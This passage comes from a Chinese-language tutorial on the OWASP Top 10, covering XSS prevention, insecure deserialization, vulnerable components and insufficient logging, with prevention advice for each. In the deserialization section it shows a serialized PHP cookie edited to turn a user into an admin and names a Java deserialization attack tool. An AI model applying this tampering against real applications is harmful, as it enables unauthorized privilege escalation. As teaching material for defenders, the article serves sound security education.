- 使用設(shè)計(jì)上就會(huì)自動(dòng)編碼來(lái)解決XSS問(wèn)題的框架,如:Ruby 3.0或 React JS。了解每個(gè)框架的XSS保護(hù)的局限性,并適當(dāng)?shù)靥幚砦锤采w的用例。
- 為了避免反射式或存儲(chǔ)式的XSS漏洞,最好的辦法是根據(jù)HTML輸出的上下文(包括:主體、屬性、JavaScript、CSS或URL)對(duì)所有不可信的HTTP請(qǐng)求數(shù)據(jù)進(jìn)行恰當(dāng)?shù)霓D(zhuǎn)義 。更多關(guān)于數(shù)據(jù)轉(zhuǎn)義技術(shù)的信息見(jiàn):《OWASP Cheat Sheet ‘XSS Prevention’》?(opens new window)。
- 在客戶端修改瀏覽器文檔時(shí),為了避免DOM XSS攻擊,最好的選擇是實(shí)施上下文敏感數(shù)據(jù)編碼。如果這種情況不能避免,可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》?(opens new window)描述的類似上下文敏感的轉(zhuǎn)義技術(shù)應(yīng)用于瀏覽器API。
- 使用內(nèi)容安全策略(CSP?(opens new window))是對(duì)抗XSS的深度防御策略。如果不存在可以通過(guò)本地文件放置惡意代碼的其他漏洞(例如:路徑遍歷覆蓋和允許在網(wǎng)絡(luò)中傳輸?shù)囊资芄舻膸?kù)),則該策略是有效的。
A8:不安全的反序列化漏洞
不安全的反序列化會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行。即使反序列化缺陷不會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行,攻擊者也可以利用它們來(lái)執(zhí)行攻擊,包括:重播攻擊、注入攻擊和特權(quán)升級(jí)攻擊。
知識(shí)點(diǎn)簡(jiǎn)介
如果反序列化進(jìn)攻者提供的敵意或者篡改過(guò)的對(duì)象將會(huì)使將應(yīng)用程序和API變的脆弱。這可能導(dǎo)致兩種主要類型的攻擊:
- 如果應(yīng)用中存在可以在反序列化過(guò)程中或者之后被改變行為的類,則攻擊者可以通過(guò)改變應(yīng)用邏輯或者實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行攻擊。我們將其稱為對(duì)象和數(shù)據(jù)結(jié)構(gòu)攻擊。
- 典型的數(shù)據(jù)篡改攻擊,如訪問(wèn)控制相關(guān)的攻擊,其中使用了現(xiàn)有的數(shù)據(jù)結(jié)構(gòu),但內(nèi)容發(fā)生了變化。
在應(yīng)用程序中,序列化可能被用于:
- 遠(yuǎn)程和進(jìn)程間通信(RPC / IPC)
- 連線協(xié)議、Web服務(wù)、消息代理
- 緩存/持久性
- 數(shù)據(jù)庫(kù)、緩存服務(wù)器、文件系統(tǒng)
- HTTP cookie、HTML表單參數(shù)、API身份驗(yàn)證令牌
案例場(chǎng)景
- 場(chǎng)景 #1:
一個(gè)React應(yīng)用程序調(diào)用了一組Spring Boot微服務(wù)。作為功能性程序員,他們?cè)噲D確保他們的代碼是不可變的。他們提出的解決方法是序列化用戶狀態(tài),并在每次請(qǐng)求時(shí)來(lái)回傳遞。攻擊者注意到了“R00”Java對(duì)象簽名,并使用Java Serial Killer工具在應(yīng)用服務(wù)器上獲得遠(yuǎn)程代碼執(zhí)行。
- 場(chǎng)景 #2:
一個(gè)PHP論壇使用PHP對(duì)象序列化來(lái)保存一個(gè)“超級(jí)”cookie。該cookie包含了用戶的用戶ID、角色、密碼哈希和其他狀態(tài):
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
攻擊者更改序列化對(duì)象以授予自己為admin權(quán)限:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
如何防止?
唯一安全的架構(gòu)模式是不接受來(lái)自不受信源的序列化對(duì)象,或使用只允許原始數(shù)據(jù)類型的序列化媒體。如果上述不可能的話,考慮使用下述方法:
- 執(zhí)行完整性檢查,如:任何序列化對(duì)象的數(shù)字簽名,以防止惡意對(duì)象創(chuàng)建或數(shù)據(jù)篡改。
- 在創(chuàng)建對(duì)象之前強(qiáng)制執(zhí)行嚴(yán)格的類型約束,因?yàn)榇a通常被期望成一組可定義的類。繞過(guò)這種技術(shù)的方法已經(jīng)被證明,所以完全依賴于它是不可取的。
- 如果可能,隔離運(yùn)行那些在低特權(quán)環(huán)境中反序列化的代碼。
- 記錄反序列化的例外情況和失敗信息,如:傳入的類型不是預(yù)期的類型,或者反序列處理引發(fā)的例外情況。
- 限制或監(jiān)視來(lái)自于容器或服務(wù)器傳入和傳出的反序列化網(wǎng)絡(luò)連接。
- 監(jiān)控反序列化,當(dāng)用戶持續(xù)進(jìn)行反序列化時(shí),對(duì)用戶進(jìn)行警告。
A9:使用含有已知漏洞的組件
組件(例如:庫(kù)、框架和其他軟件模塊)擁有和應(yīng)用程序相同的權(quán)限。如果應(yīng)用程序中含有已知漏洞的組件被攻擊者利用,可能會(huì)造成嚴(yán)重的數(shù)據(jù)丟失或服務(wù)器接管。同時(shí),使用含有已知漏洞的組件的應(yīng)用程序和API可能會(huì)破壞應(yīng)用程序防御、造成各種攻擊并產(chǎn)生嚴(yán)重影響。
知識(shí)點(diǎn)簡(jiǎn)介
如果滿足下面的某個(gè)條件,那么你的應(yīng)用就易受此類攻擊:
- 如果你不知道所有使用的組件版本信息(包括:服務(wù)端和客戶端)。這包括了直接使用的組件或其依賴的組件。
- 如果軟件易受攻擊,不再支持或者過(guò)時(shí)。這包括:OS、Web服務(wù)器、應(yīng)用程序服務(wù)器、數(shù)據(jù)庫(kù)管理系統(tǒng)(DBMS)、應(yīng)用程序、API和所有的組件、運(yùn)行環(huán)境和庫(kù)。
- 如果你不會(huì)定期做漏洞掃描和訂閱你使用組件的安全公告。
- 如果你不基于風(fēng)險(xiǎn)并及時(shí)修復(fù)或升級(jí)底層平臺(tái)、框架和依賴庫(kù)。很可能發(fā)生這種情況:根據(jù)變更控制,每月或每季度進(jìn)行升級(jí),這使得組織在這段時(shí)間內(nèi)會(huì)受到已修復(fù)但未修補(bǔ)的漏洞的威脅。
- 如果軟件工程師沒(méi)有對(duì)更新的、升級(jí)的或打過(guò)補(bǔ)丁的組件進(jìn)行兼容性測(cè)試。
- 如果你沒(méi)有對(duì)組件進(jìn)行安全配置(請(qǐng)參考“A6:2017-安全配置錯(cuò)誤”)。
案例場(chǎng)景
- 場(chǎng)景 #1:
很多時(shí)候組件都是以與應(yīng)用相同的權(quán)限運(yùn)行的,這使得組件里的缺陷可能導(dǎo)致各式各樣的問(wèn)題。這些缺陷可能是偶然的(如:編碼錯(cuò)誤),也可能是蓄意的(如:組件里的后門(mén))。下面是一些已被利用的漏洞:
- CVE-2017-5638?(opens new window),一個(gè)Struts2遠(yuǎn)程執(zhí)行漏洞。 可在服務(wù)端遠(yuǎn)程執(zhí)行代碼,并已造成巨大的影響。
- 雖然物聯(lián)網(wǎng)(IoT)?(opens new window)設(shè)備一般難以通過(guò)打補(bǔ)丁來(lái)修復(fù)。但對(duì)之打補(bǔ)丁非常重要(如:醫(yī)療設(shè)備)。
有些自動(dòng)化工具能幫助攻擊者發(fā)現(xiàn)未打補(bǔ)丁的或配置不正確的系統(tǒng)。例如 :Shodan IOT搜索引擎能幫助你發(fā)現(xiàn)從2014年四月至今仍存在心臟出血漏洞?(opens new window)的設(shè)備?(opens new window)。
如何防止?
應(yīng)該制定一個(gè)補(bǔ)丁管理流程:
- 移除不使用的依賴、不需要的功能、組件、文件和文檔。
- 利用如?versions?(opens new window)、DependencyCheck?(opens new window)?、retire.js?(opens new window)等工具來(lái)持續(xù)的記錄客戶端和服務(wù)器端以及它們的依賴庫(kù)的版本信息。持續(xù)監(jiān)控如CVE?(opens new window)?和?NVD?(opens new window)等是否發(fā)布已使用組件的漏洞信息,可以使用軟件分析工具來(lái)自動(dòng)完成此功能。訂閱關(guān)于使用組件安全漏洞的警告郵件。
- 僅從官方渠道安全的獲取組件,并使用簽名機(jī)制來(lái)降低組件被篡改或加入惡意漏洞的風(fēng)險(xiǎn)
- 監(jiān)控那些不再維護(hù)或者不發(fā)布安全補(bǔ)丁的庫(kù)和組件。如果不能打補(bǔ)丁,可以考慮部署虛擬補(bǔ)丁?(opens new window)來(lái)監(jiān)控、檢測(cè)或保護(hù)。每個(gè)組織都應(yīng)該制定相應(yīng)的計(jì)劃,對(duì)整個(gè)軟件生命周期進(jìn)行監(jiān)控、評(píng)審、升級(jí)或更改配置。
A10:不足的日志記錄和監(jiān)控
不足的日志記錄和監(jiān)控,以及事件響應(yīng)缺失或無(wú)效的集成,使攻擊者能夠進(jìn)一步攻擊系統(tǒng)、保持持續(xù)性或轉(zhuǎn)向更多系統(tǒng),以及篡改、提取或銷毀數(shù)據(jù)。大多數(shù)缺陷研究顯示,缺陷被檢測(cè)出的時(shí)間超過(guò)200天,且通常通過(guò)外部檢測(cè)方檢測(cè),而不是通過(guò)內(nèi)部流程或監(jiān)控檢測(cè)。
知識(shí)點(diǎn)簡(jiǎn)介
下列情況會(huì)導(dǎo)致不足的日志記錄、檢測(cè)、監(jiān)控和響應(yīng):
- 未記錄可審計(jì)性事件,如:登錄、登錄失敗和高額交易。
- 告警和錯(cuò)誤事件未能產(chǎn)生或產(chǎn)生不足的和不清晰的日志信息。
- 沒(méi)有利用應(yīng)用系統(tǒng)和API的日志信息來(lái)監(jiān)控可疑活動(dòng)。
- 日志信息僅在本地存儲(chǔ)。
- 沒(méi)有定義合理的告警閾值和制定響應(yīng)處理流程。
- 滲透測(cè)試和使用DAST?(opens new window)工具(如:OWASP ZAP?(opens new window))掃描沒(méi)有觸發(fā)告警
- 對(duì)于實(shí)時(shí)或準(zhǔn)實(shí)時(shí)的攻擊,應(yīng)用程序無(wú)法檢測(cè)、處理和告警。如果你的應(yīng)用使得日志信息或告警信息對(duì)用戶或者攻擊者可見(jiàn),你就很容易遭受信息泄露攻擊(請(qǐng)參考A3:2017-敏感信息泄露)
案例場(chǎng)景
- 場(chǎng)景#1:
一個(gè)由小團(tuán)隊(duì)運(yùn)營(yíng)的開(kāi)源項(xiàng)目論壇軟件被攻擊者利用其內(nèi)在漏洞攻陷了。 攻擊者設(shè)法刪除了包含下一個(gè)版本的內(nèi)部源代碼倉(cāng)庫(kù)以及所有論壇內(nèi)容。 雖然代碼可以恢復(fù),但由于缺乏監(jiān)控、日志記錄和告警導(dǎo)致了更糟糕的結(jié)果。 由于此問(wèn)題,該論壇軟件項(xiàng)目不再活躍。
- 場(chǎng)景#2:
攻擊者使用通用密碼進(jìn)行用戶掃描并能獲取所有使用此密碼的賬戶。對(duì)于其他賬戶而言,將僅有一次失敗的登陸嘗試記錄。一段時(shí)間以后,攻擊者可以用另一個(gè)密碼再次進(jìn)行此活動(dòng)。
- 場(chǎng)景#3:
美國(guó)的一家大型零售商據(jù)內(nèi)部使用惡意軟件分析沙箱做分析。 沙箱軟件檢測(cè)到了一些可能不需要的軟件,但沒(méi)有人響應(yīng)此次檢測(cè)。 在一個(gè)境外銀行不正當(dāng)?shù)男庞每ń灰妆粰z測(cè)到之前,該沙箱軟件一直在產(chǎn)生告警信息。
如何防止?
根據(jù)應(yīng)用程序存儲(chǔ)或處理的數(shù)據(jù)的風(fēng)險(xiǎn)::
- 確保所有登錄、訪問(wèn)控制失敗、輸入驗(yàn)證失敗能夠被記錄到日志中去,并保留足夠的用戶上下文信息,以識(shí)別可疑或惡意帳戶,并為后期取證預(yù)留足夠時(shí)間。
- 確保日志以一種能被集中日志管理解決方案使用的形式生成
- 確保高額交易有完整性控制的審計(jì)信息,以防止篡改或刪除,例如審計(jì)信息保存在只能進(jìn)行記錄增加的數(shù)據(jù)庫(kù)表中。
- 建立有效的監(jiān)控和告警機(jī)制,使可疑活動(dòng)在可接受的時(shí)間內(nèi)被發(fā)現(xiàn)和應(yīng)對(duì)。
- 建立或采取一個(gè)應(yīng)急響應(yīng)機(jī)制和恢復(fù)計(jì)劃,例如:NIST 800-61 rev 2?(opens new window)或更新版本。
目前已有商業(yè)的和開(kāi)源的應(yīng)用程序防護(hù)框架(例如:OWASP AppSensor?(opens new window))、Web應(yīng)用防火墻(例如 :Modsecurity with theOWASP Core Rule Set?(opens new window))、帶有自定義儀表盤(pán)和告警功能的日志關(guān)聯(lián)軟件。
三、風(fēng)險(xiǎn)因素總結(jié)
攻擊者可以通過(guò)應(yīng)用程序中許多不同的路徑方法去危害您的業(yè)務(wù)或者企業(yè)組織。每種路徑方法都代表了一種風(fēng)險(xiǎn),這些風(fēng)險(xiǎn)可能會(huì),也可能不會(huì)嚴(yán)重到值得您去關(guān)注。
有時(shí),這些路徑方法很容易被發(fā)現(xiàn)并利用,但有的則非常困難。同樣,所造成的危害有可能無(wú)關(guān)緊要,也可能導(dǎo)致破產(chǎn)。為了確定您企業(yè)的風(fēng)險(xiǎn),可以結(jié)合其產(chǎn)生的技術(shù)影響和對(duì)企業(yè)的業(yè)務(wù)影響,去評(píng)估威脅來(lái)源、攻擊向量和安全漏洞的可能性??傊?,這些因素決定了全部的風(fēng)險(xiǎn)。
四、網(wǎng)絡(luò)安全零基礎(chǔ)學(xué)習(xí)路線
對(duì)于從來(lái)沒(méi)有接觸過(guò)網(wǎng)絡(luò)安全的同學(xué),我?guī)湍銈儨?zhǔn)備了詳細(xì)的學(xué)習(xí)成長(zhǎng)路線圖。可以說(shuō)是最科學(xué)最系統(tǒng)的學(xué)習(xí)路線,大家跟著這個(gè)大的方向?qū)W習(xí)準(zhǔn)沒(méi)問(wèn)題。
需要定制學(xué)習(xí)路線學(xué)習(xí)資料的評(píng)論區(qū)留言
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-693068.html
?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-693068.html
到了這里,關(guān)于自學(xué)網(wǎng)絡(luò)安全(白帽黑客)必看!OWASP十大漏洞解析!的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!